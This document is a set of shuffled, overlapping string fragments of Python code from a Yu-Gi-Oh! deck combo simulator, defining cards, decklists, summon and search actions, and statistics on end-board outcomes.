"Card(\"Set Rotation\", CardType.SPELL) # Draw desires = Card(\"Pot of Desires\", CardType.SPELL) upstart =",
"1) if fodder: game.move(game.hand, game.grave, fodder[0]) game.draw() else: fodder = self.select_souls_fodder(game, 2) if",
"red_eyes_location): return None game.use_hopt(self.verte) game.move(game.deck, game.grave, self.ref) game.move(dm_location, game.grave, self.dm) game.move(red_eyes_location, game.grave, self.red_eyes)",
"in game.extra_deck and game.resource_available(\"summon\") ): if self.aleister in game.grave: game.move(game.grave, game.banished, self.aleister) elif",
"(judgment, 2), (upstart, 1), (duster, 1), (mind_control, 1), (set_rotation, 1), (called, 1), ),",
"and game.hopt_available(self.meltdown) and game.resource_available(\"activate field spell\") ): game.move(game.hand, game.backrow, self.meltdown) game.use_hopt(self.meltdown) if self.aleister",
"CardType.SPELL) meltdown = Card(\"Magical Meltdown\", CardType.SPELL) terraforming = Card(\"Terraforming\", CardType.SPELL) # Extenders jester",
"grave_target := self.select_invocation_banish_from_grave(game): game.move(game.grave, game.banished, grave_target) elif field_target := self.select_invocation_banish_from_field(game): game.move(game.monsters, game.banished, field_target)",
"in game.hand and self.dragoon in game.extra_deck and not game.monsters.cards ): dm_location, red_eyes_location =",
"hand = game.hand.cards[:] for card in hand: if count := hand.count(card) == 1:",
"if ( self.jester in game.hand and game.resource_available(\"normal summon\") and game.resource_available(\"summon\") ): game.use_resource(\"normal summon\")",
"self.dm in game.hand: dm_location = game.hand if self.red_eyes in game.deck: red_eyes_location = game.deck",
"Droplet\", CardType.SPELL) called = Card(\"Called by the Grave\", CardType.SPELL) cyclone = Card(\"Cosmic Cyclone\",",
"game: Game, include_useful: bool = False ) -> List[Card]: redundant_cards = {} #",
"game.hopt_available(self.meltdown) and game.resource_available(\"activate field spell\") ): game.move(game.hand, game.backrow, self.meltdown) game.use_hopt(self.meltdown) if self.aleister in",
"CardType.MONSTER) meister = Card(\"Skull Meister\", CardType.MONSTER) imperm = Card(\"Infinite Impermanence\", CardType.TRAP) # Dragoons",
"card in self.verte_materials: materials.append(card) if len(materials) < 2: return None for material in",
"a path to aleister. give them meltdown and take stage for corobane if",
"opp_card = self.lightstage return my_card, opp_card ######### # Actions ######### def action_use_upstart(self, game:",
"in game.deck: return self.dm else: return None def select_souls_fodder(self, game: Game, count: int)",
"= Card(\"Red-Eyes Dark Dragoon\", CardType.EXTRA_DECK) # Disruptions disr_dragoon = Disruption(repr(dragoon), 8) disr_mechaba_m =",
"Card(\"Psy-framelord Omega\", CardType.EXTRA_DECK) verte = Card(\"Predaplant Verte Anaconda\", CardType.EXTRA_DECK) dragoon = Card(\"Red-Eyes Dark",
"Dark Dragoon\", CardType.EXTRA_DECK) # Disruptions disr_dragoon = Disruption(repr(dragoon), 8) disr_mechaba_m = Disruption(f\"{repr(mechaba)} (M)\",",
"game: Game) -> Optional[Card]: return game.grave.get_any(self.light_monsters) def select_invocation_banish_from_field(self, game: Game) -> Optional[Card]: return",
"in game.hand or self.aleister in game.hand: # we have a path to aleister.",
"self.upstart) game.draw() return game def action_use_terraforming(self, game: Game) -> Optional[Game]: if self.terraforming in",
"Game) -> Optional[Game]: if ( self.aleister in game.hand and game.resource_available(\"normal summon\") and game.resource_available(\"summon\")",
"0) disr_mechaba_t = Disruption(f\"{repr(mechaba)} (T)\", 0) disr_prison = Disruption(repr(prison), 2) disr_judgment = Disruption(repr(judgment),",
"Optional[Card]: return game.monsters.get_any(self.light_monsters) def select_souls_dump(self, game: Game) -> Optional[Card]: if self.dm in game.deck:",
"self.set_rotation) game.move(game.deck, game.backrow, my_card) game.deck.cards.remove(opp_card) return game def action_use_meltdown(self, game: Game) -> Optional[Game]:",
"( self.souls in game.hand and game.resource_available(\"normal summon\") and game.resource_available(\"summon\") ): game.use_resource(\"normal summon\") game.move(game.hand,",
"cyclone = Card(\"Cosmic Cyclone\", CardType.SPELL) duster = Card(\"Harpie's Feather Duster\", CardType.SPELL) mind_control =",
"self.corobane) elif self.candina in game.deck: game.move(game.deck, game.hand, self.candina) return game else: game.move(game.hand, game.backrow,",
"List[Card]: my_card, opp_card = None, None if self.meltdown in game.hand or self.aleister in",
"return game def action_summon_artemis(self, game: Game) -> Optional[Game]: if self.artemis in game.extra_deck and",
"game def endphase(self, game: Game): for card in game.hand.cards[:]: # make a copy",
"get_redundant_cards_in_hand( self, game: Game, include_useful: bool = False ) -> List[Card]: redundant_cards =",
"return game def action_use_ref(self, game: Game) -> Optional[Game]: if ( self.ref in game.hand",
"(duster, 1), (mind_control, 1), (set_rotation, 1), (called, 1), ), ( (almiraj, 1), (artemis,",
"and game.hopt_available(self.terraforming): target = self.select_terraforming_target(game) if not target: return None game.move(game.hand, game.grave, self.terraforming)",
"Game, count: int) -> List[Card]: fodder = [] cards = self.get_redundant_cards_in_hand(game, include_useful=False) while",
"3), (magicalized_fusion, 1), (candina, 1), (corobane, 1), (lightstage, 1), # (upstart, 1), (cyclone,",
"CardType.MONSTER) lightstage = Card(\"Trickstar Lightstage\", CardType.SPELL) set_rotation = Card(\"Set Rotation\", CardType.SPELL) # Draw",
"# Extra Deck carrier = Card(\"Union Carrier\", CardType.EXTRA_DECK) almiraj = Card(\"Salamangreat Almiraj\", CardType.EXTRA_DECK)",
"game.use_hopt(self.souls, \"summon\") return game def action_normal_summon_souls(self, game: Game) -> Optional[Game]: if ( self.souls",
"game.hand.cards[:] for card in hand: if count := hand.count(card) == 1: if game.hopt_available(card):",
"and self.ref in game.deck and self.dragoon in game.extra_deck ): dm_location, red_eyes_location = self.find_dragoons_materials(game)",
"= self.select_souls_dump(game) if not dump_target: return None game.move(game.deck, game.grave, dump_target) game.move(game.hand, game.monsters, self.souls)",
"CardType.MONSTER) ref = Card(\"Red-Eyes Fusion\", CardType.SPELL) magicalized_fusion = Card(\"Magicalized Fusion\", CardType.SPELL) # Misc",
"1), (artemis, 1), (gardna, 1), (mechaba, 2), (purgatrio, 1), (augoeides, 1), (omega, 1),",
"if not (dm_location and red_eyes_location): return None game.move(game.hand, game.grave, self.ref) game.move(dm_location, game.grave, self.dm)",
"def action_summon_corobane(self, game: Game) -> Optional[Game]: if ( self.corobane in game.hand and game.hopt_available(self.corobane)",
"dm_location, red_eyes_location = self.find_dragoons_materials(game) if not (dm_location and red_eyes_location): return None game.move(game.hand, game.grave,",
"Hand Traps nibiru = Card(\"Nibiru, the Primal Being\", CardType.MONSTER) ash = Card(\"Ash Blossom",
"CardType.MONSTER) souls = Card(\"Magicians' Souls\", CardType.MONSTER) # Trickstar Engine candina = Card(\"Trickstar Candina\",",
"in game.hand and self.aleister not in game.hand ): return self.meltdown elif ( self.lightstage",
"= sorted( redundant_cards.keys(), key=lambda x: redundant_cards[x], reverse=True ) if include_useful: return to_return else:",
"1), (mechaba, 2), (purgatrio, 1), (augoeides, 1), (omega, 1), (dragoon, 2), (verte, 2),",
"(aleister, 3), (invocation, 2), (meltdown, 3), (terraforming, 1), (prison, 2), (imperm, 3), (ash,",
"self.lightstage not in game.hand and not (self.corobane in game.hand and self.candina in game.hand)",
"game.monsters, self.candina) if self.lightstage in game.deck: game.move(game.deck, game.hand, self.lightstage) elif self.corobane in game.deck:",
":= self.select_invocation_banish_from_grave(game): game.move(game.grave, game.banished, grave_target) elif field_target := self.select_invocation_banish_from_field(game): game.move(game.monsters, game.banished, field_target) else:",
"Card(\"Ice Dragon's Prison\", CardType.TRAP) judgment = Card(\"Solemn Judgment\", CardType.TRAP) # Extra Deck carrier",
"if ( self.fleur in game.hand and game.resource_available(\"summon\") and any(card.card_type == CardType.EXTRA_DECK for card",
"Draw desires = Card(\"Pot of Desires\", CardType.SPELL) upstart = Card(\"Upstart Goblin\", CardType.SPELL) #",
"game.monsters and game.hopt_available(self.verte) and self.ref in game.deck and self.dragoon in game.extra_deck ): dm_location,",
"CardType.MONSTER) ash = Card(\"Ash Blossom & Joyous Spring\", CardType.MONSTER) ogre = Card(\"Ghost Ogre",
"self.judgment: game.disruptions.add(self.disr_judgment) else: game.disruptions.add(Disruption(repr(card), 1)) if pure_distruptions >= 3: game.add_flag(\"3+ disruptions\") if pure_distruptions",
"else: game.use_resource(\"activate field spell\") game.move(game.hand, game.grave, self.set_rotation) game.move(game.deck, game.backrow, my_card) game.deck.cards.remove(opp_card) return game",
"= False ) -> List[Card]: redundant_cards = {} # higher value means more",
"disr_aleister = Disruption(repr(aleister), 1) # Lists hand_traps = (ash, ogre, veiler, imperm, nibiru,",
"self.ref in game.hand and self.dragoon in game.extra_deck and not game.monsters.cards ): dm_location, red_eyes_location",
"while len(materials) < 2 and monsters: card = monsters.pop() if card in self.verte_materials:",
"game: Game) -> Optional[Game]: if ( self.gardna in game.extra_deck and self.almiraj in game.monsters",
"cards = self.get_redundant_cards_in_hand(game, include_useful=False) while cards and len(fodder) < count: card = cards.pop()",
"the Magistus Moon Maiden\", CardType.EXTRA_DECK) mechaba = Card(\"Invoked Mechaba\", CardType.EXTRA_DECK) augoeides = Card(\"Invoked",
"CardType.SPELL) mind_control = Card(\"Mind Control\", CardType.SPELL) prison = Card(\"Ice Dragon's Prison\", CardType.TRAP) judgment",
"in game.hand: red_eyes_location = game.hand return dm_location, red_eyes_location ######### # Selects ######### def",
"== self.prison: game.disruptions.add(self.disr_prison) elif card == self.judgment: game.disruptions.add(self.disr_judgment) else: game.disruptions.add(Disruption(repr(card), 1)) if pure_distruptions",
"( self.gardna in game.extra_deck and self.almiraj in game.monsters and game.resource_available(\"summon\") ): game.move(game.monsters, game.grave,",
"self.aleister in game.hand: # we have a path to aleister. give them meltdown",
"pure_distruptions += 1 if self.mechaba in game.monsters: for card in game.hand: game.add_flag(\"mechaba\") if",
"self.select_terraforming_target(game) if not target: return None game.move(game.hand, game.grave, self.terraforming) game.move(game.deck, game.hand, target) game.use_hopt(self.terraforming)",
"# Draw desires = Card(\"Pot of Desires\", CardType.SPELL) upstart = Card(\"Upstart Goblin\", CardType.SPELL)",
"self.candina in game.deck: game.move(game.deck, game.hand, self.candina) return game else: game.move(game.hand, game.backrow, self.lightstage) #",
"self.meltdown in game.deck: opp_card = self.meltdown else: if self.meltdown in game.deck: my_card =",
"(set_rotation, 1), (called, 1), ), ( (almiraj, 1), (artemis, 1), (gardna, 1), (mechaba,",
"def action_use_ref(self, game: Game) -> Optional[Game]: if ( self.ref in game.hand and self.dragoon",
"generate_stats(cls, end_games: List[Game]) -> List[List[str]]: return [ [\"Dragoon\", cls.percent_with_flags(end_games, [\"dragoon\"])], [\"Mechaba\", cls.percent_with_flags(end_games, [\"mechaba\"])],",
"# Helpers ######### @classmethod def generate_stats(cls, end_games: List[Game]) -> List[List[str]]: return [ [\"Dragoon\",",
"summon\") and game.resource_available(\"summon\") ): game.use_resource(\"normal summon\") game.move(game.hand, game.monsters, self.candina) if self.lightstage in game.deck:",
"(omega, 1), (dragoon, 2), (verte, 2), ), ) default_decklist = standard_decklist ######### #",
"1) # Lists hand_traps = (ash, ogre, veiler, imperm, nibiru, droll, crow, belle,",
"in game.deck and self.lightstage not in game.hand and not (self.corobane in game.hand and",
"in game.deck: opp_card = self.lightstage return my_card, opp_card ######### # Actions ######### def",
"game.extra_deck ): dm_location, red_eyes_location = self.find_dragoons_materials(game) if not (dm_location and red_eyes_location): return None",
"return self.dm else: return None def select_souls_fodder(self, game: Game, count: int) -> List[Card]:",
"( self.lightstage in game.deck and self.lightstage not in game.hand and not (self.corobane in",
"game.grave, self.jester) elif self.souls in game.monsters: game.move(game.monsters, game.grave, self.souls) else: return None game.move(game.extra_deck,",
"and game.resource_available(\"summon\") ): if self.aleister in game.grave: game.move(game.grave, game.banished, self.aleister) elif self.aleister in",
"game def action_normal_summon_souls(self, game: Game) -> Optional[Game]: if ( self.souls in game.hand and",
"self.select_invocation_banish_from_field(game): game.move(game.monsters, game.banished, field_target) else: return None game.move(game.hand, game.grave, self.invocation) game.move(game.extra_deck, game.monsters, self.mechaba)",
"( self.lightstage in game.hand and any(card in game.deck for card in [self.corobane, self.candina])",
"Optional[Game]: if ( self.souls in game.hand and game.resource_available(\"normal summon\") and game.resource_available(\"summon\") ): game.use_resource(\"normal",
"self.dm) game.move(red_eyes_location, game.grave, self.red_eyes) game.move(game.extra_deck, game.monsters, self.dragoon) game.use_resource(\"summon\") return game def action_use_ref(self, game:",
"-> Optional[Game]: if self.verte in game.extra_deck and game.resource_available(\"summon\"): materials = [] monsters =",
"-> Optional[Game]: if self.terraforming in game.hand and game.hopt_available(self.terraforming): target = self.select_terraforming_target(game) if not",
"None while fodder: game.move(game.hand, game.grave, fodder.pop()) game.draw() return game def action_summon_jester(self, game: Game)",
"game.deck: game.move(game.deck, game.hand, self.candina) elif self.corobane in game.deck: game.move(game.deck, game.hand, self.corobane) return game",
"(invocation, 2), (meltdown, 3), (terraforming, 1), (prison, 2), (imperm, 3), (ash, 3), (souls,",
"game.resource_available(\"summon\") ): game.move(game.hand, game.monsters, self.jester) game.use_hopt(self.jester) return game def action_normal_summon_jester(self, game: Game) ->",
"= Card(\"Pot of Desires\", CardType.SPELL) upstart = Card(\"Upstart Goblin\", CardType.SPELL) # Hand Traps",
"Optional[Game]: if ( self.corobane in game.hand and game.hopt_available(self.corobane) and not game.monsters.cards and game.resource_available(\"summon\")",
"= Card(\"Invocation\", CardType.SPELL) meltdown = Card(\"Magical Meltdown\", CardType.SPELL) terraforming = Card(\"Terraforming\", CardType.SPELL) #",
"(dm_location and red_eyes_location): return None game.use_hopt(self.verte) game.move(game.deck, game.grave, self.ref) game.move(dm_location, game.grave, self.dm) game.move(red_eyes_location,",
"self.find_dragoons_materials(game) if not (dm_location and red_eyes_location): return None game.use_hopt(self.verte) game.move(game.deck, game.grave, self.ref) game.move(dm_location,",
"def action_summon_souls(self, game: Game) -> Optional[Game]: if ( self.souls in game.hand and game.hopt_available(self.souls,",
"(T)\", 0) disr_prison = Disruption(repr(prison), 2) disr_judgment = Disruption(repr(judgment), 2) disr_aleister = Disruption(repr(aleister),",
"return game def action_use_meltdown(self, game: Game) -> Optional[Game]: if ( self.meltdown in game.hand",
"Game) -> Optional[Game]: if self.terraforming in game.hand and game.hopt_available(self.terraforming): target = self.select_terraforming_target(game) if",
"else: return None if grave_target := self.select_invocation_banish_from_grave(game): game.move(game.grave, game.banished, grave_target) elif field_target :=",
"else: redundant_cards[card] = 3 to_return = sorted( redundant_cards.keys(), key=lambda x: redundant_cards[x], reverse=True )",
"if not dump_target: return None game.move(game.deck, game.grave, dump_target) game.move(game.hand, game.monsters, self.souls) game.use_hopt(self.souls, \"summon\")",
"= Card(\"Jester Confit\", CardType.MONSTER) souls = Card(\"Magicians' Souls\", CardType.MONSTER) # Trickstar Engine candina",
"so we can modify hand if card in self.cards_to_set: game.move(game.hand, game.backrow, card) #",
"game: Game) -> Optional[Game]: if self.artemis in game.extra_deck and game.resource_available(\"summon\"): if self.aleister in",
"1), ), ( (almiraj, 1), (artemis, 1), (gardna, 1), (mechaba, 2), (purgatrio, 1),",
"Grave\", CardType.SPELL) cyclone = Card(\"Cosmic Cyclone\", CardType.SPELL) duster = Card(\"Harpie's Feather Duster\", CardType.SPELL)",
"game.grave, self.aleister) elif self.jester in game.monsters: game.move(game.monsters, game.grave, self.jester) elif self.souls in game.monsters:",
"dm_location = game.deck elif self.dm in game.hand: dm_location = game.hand if self.red_eyes in",
"= 2 else: redundant_cards[card] = 3 to_return = sorted( redundant_cards.keys(), key=lambda x: redundant_cards[x],",
"cyclone) discards = (driver, duster, mind_control, upstart, cyclone) light_monsters = (corobane, candina, artemis,",
"CardType.SPELL: game.disruptions.add(self.disr_mechaba_s) elif card.card_type == CardType.TRAP: game.disruptions.add(self.disr_mechaba_t) if game.has_flag(\"mechaba\"): pure_distruptions += 1 for",
"action_use_set_rotation(self, game: Game) -> Optional[Game]: if self.set_rotation in game.hand: my_card, opp_card = self.select_set_rotation_targets(game)",
"] def postprocess(self, game: Game): return game def endphase(self, game: Game): for card",
"2), (purgatrio, 1), (augoeides, 1), (omega, 1), (dragoon, 2), (verte, 2), ), )",
"if not target: return None game.move(game.hand, game.grave, self.terraforming) game.move(game.deck, game.hand, target) game.use_hopt(self.terraforming) return",
"game.grave: game.move(game.grave, game.banished, self.aleister) elif self.aleister in game.monsters: game.move(game.monsters, game.banished, self.aleister) else: return",
"= Card(\"Secure Gardna\", CardType.EXTRA_DECK) artemis = Card(\"Artemis, the Magistus Moon Maiden\", CardType.EXTRA_DECK) mechaba",
"game.deck and game.hopt_available(self.meltdown) and self.meltdown not in game.hand and self.aleister not in game.hand",
"CardType.MONSTER) droll = Card(\"Droll & Lock Bird\", CardType.MONSTER) veiler = Card(\"Effect Veiler\", CardType.MONSTER)",
"Selects ######### def select_invocation_banish_from_grave(self, game: Game) -> Optional[Card]: return game.grave.get_any(self.light_monsters) def select_invocation_banish_from_field(self, game:",
"game.hand return dm_location, red_eyes_location ######### # Selects ######### def select_invocation_banish_from_grave(self, game: Game) ->",
"game.resource_available(\"summon\") ): game.use_resource(\"normal summon\") game.move(game.hand, game.monsters, self.souls) return game def action_use_souls(self, game: Game)",
"self.candina) return game else: game.move(game.hand, game.backrow, self.lightstage) # search candina to normal if",
"game def action_summon_aleister(self, game: Game) -> Optional[Game]: if ( self.aleister in game.hand and",
"Moon Maiden\", CardType.EXTRA_DECK) mechaba = Card(\"Invoked Mechaba\", CardType.EXTRA_DECK) augoeides = Card(\"Invoked Augoeides\", CardType.EXTRA_DECK)",
"self.jester in game.monsters: game.move(game.monsters, game.grave, self.jester) elif self.souls in game.monsters: game.move(game.monsters, game.grave, self.souls)",
"self.meltdown in game.backrow: game.move(game.backrow, game.grave, self.meltdown) game.draw() fodder = self.select_souls_fodder(game, 1) if fodder:",
"CardType.SPELL) cyclone = Card(\"Cosmic Cyclone\", CardType.SPELL) duster = Card(\"Harpie's Feather Duster\", CardType.SPELL) mind_control",
"[CardType.SPELL, CardType.TRAP]: fodder.append(card) return fodder def select_terraforming_target(self, game: Game) -> Optional[Card]: if (",
"CardType.MONSTER) ogre = Card(\"Ghost Ogre & Snow Rabbit\", CardType.MONSTER) droll = Card(\"Droll &",
"game.hopt_available(self.corobane) and not game.monsters.cards and game.resource_available(\"summon\") ): game.move(game.hand, game.monsters, self.corobane) game.use_hopt(self.corobane) return game",
"dm_location, red_eyes_location = None, None if self.dm in game.deck: dm_location = game.deck elif",
"game.hand, self.candina) elif self.corobane in game.deck: game.move(game.deck, game.hand, self.corobane) return game def action_summon_mechaba(self,",
"game.move(game.deck, game.hand, self.corobane) return game def action_use_lightstage(self, game: Game) -> Optional[Game]: if (",
"game.hand: dm_location = game.hand if self.red_eyes in game.deck: red_eyes_location = game.deck elif self.red_eyes",
"game.monsters.cards and game.resource_available(\"summon\") ): game.move(game.hand, game.monsters, self.corobane) game.use_hopt(self.corobane) return game def action_normal_summon_candina(self, game:",
"if card in self.not_opt: redundant_cards[card] = 1 else: redundant_cards[card] = 2 else: redundant_cards[card]",
"in game.hand ): return self.meltdown elif ( self.lightstage in game.deck and self.lightstage not",
"Dragoon\", CardType.EXTRA_DECK) # Disruptions disr_dragoon = Disruption(repr(dragoon), 8) disr_mechaba_m = Disruption(f\"{repr(mechaba)} (M)\", 2)",
"def generate_stats(cls, end_games: List[Game]) -> List[List[str]]: return [ [\"Dragoon\", cls.percent_with_flags(end_games, [\"dragoon\"])], [\"Mechaba\", cls.percent_with_flags(end_games,",
"game def action_use_ref(self, game: Game) -> Optional[Game]: if ( self.ref in game.hand and",
"self.select_souls_fodder(game, 1) if fodder: game.move(game.hand, game.grave, fodder[0]) game.draw() else: fodder = self.select_souls_fodder(game, 2)",
"self.aleister) elif self.aleister in game.monsters: game.move(game.monsters, game.banished, self.aleister) else: return None if grave_target",
"else: if self.meltdown in game.deck: my_card = self.meltdown if self.lightstage in game.deck: opp_card",
"CardType.SPELL) # Misc fleur = Card(\"<NAME>, the Knighted\", CardType.MONSTER) droplet = Card(\"Forbidden Droplet\",",
"game.grave.get_any(self.light_monsters) def select_invocation_banish_from_field(self, game: Game) -> Optional[Card]: return game.monsters.get_any(self.light_monsters) def select_souls_dump(self, game: Game)",
"None if self.meltdown in game.hand or self.aleister in game.hand: # we have a",
"Card(\"PSY-Frame Driver\", CardType.MONSTER) crow = Card(\"D.D. Crow\", CardType.MONSTER) belle = Card(\"Ghost Belle &",
"len(game.deck) > 1: game.move(game.hand, game.grave, self.upstart) game.draw() return game def action_use_terraforming(self, game: Game)",
"self.corobane in game.deck: game.move(game.deck, game.hand, self.corobane) return game def action_summon_mechaba(self, game: Game) ->",
"for card in [self.corobane, self.candina]) and game.resource_available(\"activate field spell\") ): if self.meltdown in",
"self.dm in game.deck: dm_location = game.deck elif self.dm in game.hand: dm_location = game.hand",
"= game.deck elif self.red_eyes in game.hand: red_eyes_location = game.hand return dm_location, red_eyes_location #########",
"= Card(\"Forbidden Droplet\", CardType.SPELL) called = Card(\"Called by the Grave\", CardType.SPELL) cyclone =",
"######### # Helpers ######### @classmethod def generate_stats(cls, end_games: List[Game]) -> List[List[str]]: return [",
"have a path to aleister. give them meltdown and take stage for corobane",
"game def action_summon_gardna(self, game: Game) -> Optional[Game]: if ( self.gardna in game.extra_deck and",
"game.backrow, self.meltdown) game.use_hopt(self.meltdown) if self.aleister in game.deck: game.move(game.deck, game.hand, self.aleister) return game def",
"elif card.card_type == CardType.TRAP: game.disruptions.add(self.disr_mechaba_t) if game.has_flag(\"mechaba\"): pure_distruptions += 1 for card in",
"& Joyous Spring\", CardType.MONSTER) ogre = Card(\"Ghost Ogre & Snow Rabbit\", CardType.MONSTER) droll",
"game.disruptions.add(self.disr_prison) elif card == self.judgment: game.disruptions.add(self.disr_judgment) else: game.disruptions.add(Disruption(repr(card), 1)) if pure_distruptions >= 3:",
"game.hand and game.hopt_available(self.terraforming): target = self.select_terraforming_target(game) if not target: return None game.move(game.hand, game.grave,",
"game.use_resource(\"summon\") return game def action_use_ref(self, game: Game) -> Optional[Game]: if ( self.ref in",
"= self.lightstage if self.meltdown in game.deck: opp_card = self.meltdown else: if self.meltdown in",
"= Card(\"Magicians' Souls\", CardType.MONSTER) # Trickstar Engine candina = Card(\"Trickstar Candina\", CardType.MONSTER) corobane",
"game.resource_available(\"summon\") and any(card.card_type == CardType.EXTRA_DECK for card in game.monsters) ): game.move(game.hand, game.monsters, self.fleur)",
"-> Tuple[Optional[CardGroup], Optional[CardGroup]]: dm_location, red_eyes_location = None, None if self.dm in game.deck: dm_location",
"game: Game ) -> Tuple[Optional[CardGroup], Optional[CardGroup]]: dm_location, red_eyes_location = None, None if self.dm",
"Card(\"Jester Confit\", CardType.MONSTER) souls = Card(\"Magicians' Souls\", CardType.MONSTER) # Trickstar Engine candina =",
"not game.has_flag(\"dragoon\"): game.add_flag(\"brick\") return game def get_redundant_cards_in_hand( self, game: Game, include_useful: bool =",
"game.grave, fodder.pop()) game.draw() return game def action_summon_jester(self, game: Game) -> Optional[Game]: if (",
"= 3 to_return = sorted( redundant_cards.keys(), key=lambda x: redundant_cards[x], reverse=True ) if include_useful:",
"if card == self.gamma and self.driver in game.banished: continue if card == self.imperm:",
"ref = Card(\"Red-Eyes Fusion\", CardType.SPELL) magicalized_fusion = Card(\"Magicalized Fusion\", CardType.SPELL) # Misc fleur",
"Magistus Moon Maiden\", CardType.EXTRA_DECK) mechaba = Card(\"Invoked Mechaba\", CardType.EXTRA_DECK) augoeides = Card(\"Invoked Augoeides\",",
"card in game.hand.cards[:]: # make a copy so we can modify hand if",
"meister = Card(\"Skull Meister\", CardType.MONSTER) imperm = Card(\"Infinite Impermanence\", CardType.TRAP) # Dragoons dm",
"purgatrio = Card(\"Invoked Purgatrio\", CardType.EXTRA_DECK) omega = Card(\"Psy-framelord Omega\", CardType.EXTRA_DECK) verte = Card(\"Predaplant",
"self.invocation in game.deck: game.move(game.deck, game.hand, self.invocation) game.use_hopt(self.aleister) return game def action_summon_artemis(self, game: Game)",
"game.resource_available(\"summon\") ): game.use_resource(\"normal summon\") game.move(game.hand, game.monsters, self.candina) if self.lightstage in game.deck: game.move(game.deck, game.hand,",
"and game.resource_available(\"normal summon\") and game.resource_available(\"summon\") ): game.use_resource(\"normal summon\") game.move(game.hand, game.monsters, self.jester) return game",
"candina, artemis, gardna, fleur) not_opt = (imperm, crow, meister, veiler, cyclone) going_second =",
"game.monsters: game.move(game.monsters, game.grave, self.aleister) elif self.jester in game.monsters: game.move(game.monsters, game.grave, self.jester) elif self.souls",
"def action_normal_summon_jester(self, game: Game) -> Optional[Game]: if ( self.jester in game.hand and game.resource_available(\"normal",
"if self.candina in game.deck: game.move(game.deck, game.hand, self.candina) elif self.corobane in game.deck: game.move(game.deck, game.hand,",
"Card(\"Solemn Judgment\", CardType.TRAP) # Extra Deck carrier = Card(\"Union Carrier\", CardType.EXTRA_DECK) almiraj =",
"cls.percent_with_flags(end_games, [\"dragoon\", \"mechaba\"])], [\"3+ Disruptions\", cls.percent_with_flags(end_games, [\"3+ disruptions\"])], [\"Bricks\", cls.percent_with_flags(end_games, [\"brick\"])], ] def",
"and game.resource_available(\"summon\") ): game.use_resource(\"normal summon\") game.move(game.hand, game.monsters, self.candina) if self.lightstage in game.deck: game.move(game.deck,",
"self.dragoon in game.extra_deck ): dm_location, red_eyes_location = self.find_dragoons_materials(game) if not (dm_location and red_eyes_location):",
"game.deck: red_eyes_location = game.deck elif self.red_eyes in game.hand: red_eyes_location = game.hand return dm_location,",
"opp_card = self.meltdown else: if self.meltdown in game.deck: my_card = self.meltdown if self.lightstage",
"in game.hand) ): return self.lightstage elif self.meltdown in game.deck: return self.meltdown elif self.lightstage",
"summon\") game.move(game.hand, game.monsters, self.candina) if self.lightstage in game.deck: game.move(game.deck, game.hand, self.lightstage) elif self.corobane",
"Mansion\", CardType.MONSTER) meister = Card(\"Skull Meister\", CardType.MONSTER) imperm = Card(\"Infinite Impermanence\", CardType.TRAP) #",
"red_eyes_location = None, None if self.dm in game.deck: dm_location = game.deck elif self.dm",
"and game.hopt_available(self.souls, \"draw\"): game.use_hopt(self.souls, \"draw\") if self.meltdown in game.backrow: game.move(game.backrow, game.grave, self.meltdown) game.draw()",
"in game.extra_deck and game.resource_available(\"summon\"): materials = [] monsters = game.monsters.cards[:] while len(materials) <",
"= Card(\"Aleister the Invoker\", CardType.MONSTER) invocation = Card(\"Invocation\", CardType.SPELL) meltdown = Card(\"Magical Meltdown\",",
"= (judgment, droplet, called, imperm, prison, cyclone) discards = (driver, duster, mind_control, upstart,",
"[\"Mechaba\", cls.percent_with_flags(end_games, [\"mechaba\"])], [\"Both\", cls.percent_with_flags(end_games, [\"dragoon\", \"mechaba\"])], [\"3+ Disruptions\", cls.percent_with_flags(end_games, [\"3+ disruptions\"])], [\"Bricks\",",
"(prison, 2), (imperm, 3), (ash, 3), (souls, 3), (dm, 2), # (fleur, 1),",
"= Disruption(repr(prison), 2) disr_judgment = Disruption(repr(judgment), 2) disr_aleister = Disruption(repr(aleister), 1) # Lists",
"Optional[CardGroup]]: dm_location, red_eyes_location = None, None if self.dm in game.deck: dm_location = game.deck",
"Card(\"Aleister the Invoker\", CardType.MONSTER) invocation = Card(\"Invocation\", CardType.SPELL) meltdown = Card(\"Magical Meltdown\", CardType.SPELL)",
"Game) -> Optional[Game]: if ( self.almiraj in game.extra_deck and self.aleister in game.monsters and",
"dump_target: return None game.move(game.deck, game.grave, dump_target) game.move(game.hand, game.monsters, self.souls) game.use_hopt(self.souls, \"summon\") return game",
"= Card(\"Union Carrier\", CardType.EXTRA_DECK) almiraj = Card(\"Salamangreat Almiraj\", CardType.EXTRA_DECK) gardna = Card(\"Secure Gardna\",",
"= self.find_dragoons_materials(game) if not (dm_location and red_eyes_location): return None game.move(game.hand, game.grave, self.ref) game.move(dm_location,",
"1 else: redundant_cards[card] = 2 else: redundant_cards[card] = 3 to_return = sorted( redundant_cards.keys(),",
"and self.dragoon in game.extra_deck and not game.monsters.cards ): dm_location, red_eyes_location = self.find_dragoons_materials(game) if",
"-> Optional[Card]: if self.dm in game.deck: return self.dm else: return None def select_souls_fodder(self,",
"game.move(game.hand, game.grave, self.set_rotation) game.move(game.deck, game.backrow, my_card) game.deck.cards.remove(opp_card) return game def action_use_meltdown(self, game: Game)",
"redundant_cards[card] = 1 else: redundant_cards[card] = 2 else: redundant_cards[card] = 3 to_return =",
"def action_summon_artemis(self, game: Game) -> Optional[Game]: if self.artemis in game.extra_deck and game.resource_available(\"summon\"): if",
":= self.select_invocation_banish_from_field(game): game.move(game.monsters, game.banished, field_target) else: return None game.move(game.hand, game.grave, self.invocation) game.move(game.extra_deck, game.monsters,",
"return None game.move(game.hand, game.grave, self.invocation) game.move(game.extra_deck, game.monsters, self.mechaba) if game.hopt_available(self.invocation, \"recycle\"): game.use_hopt(self.invocation, \"recycle\")",
"Card(\"Magicalized Fusion\", CardType.SPELL) # Misc fleur = Card(\"<NAME>, the Knighted\", CardType.MONSTER) droplet =",
"in self.verte_materials: materials.append(card) if len(materials) < 2: return None for material in materials:",
"materials.append(card) if len(materials) < 2: return None for material in materials: game.move(game.monsters, game.grave,",
"Verte Anaconda\", CardType.EXTRA_DECK) dragoon = Card(\"Red-Eyes Dark Dragoon\", CardType.EXTRA_DECK) # Disruptions disr_dragoon =",
"game.hand and not (self.corobane in game.hand and self.candina in game.hand) ): return self.lightstage",
"game: Game) -> Optional[Game]: if ( self.jester in game.hand and game.resource_available(\"normal summon\") and",
"gamma = Card(\"PSY-Framegear Gamma\", CardType.MONSTER) driver = Card(\"PSY-Frame Driver\", CardType.MONSTER) crow = Card(\"D.D.",
"(corobane, candina, artemis, gardna, fleur) not_opt = (imperm, crow, meister, veiler, cyclone) going_second",
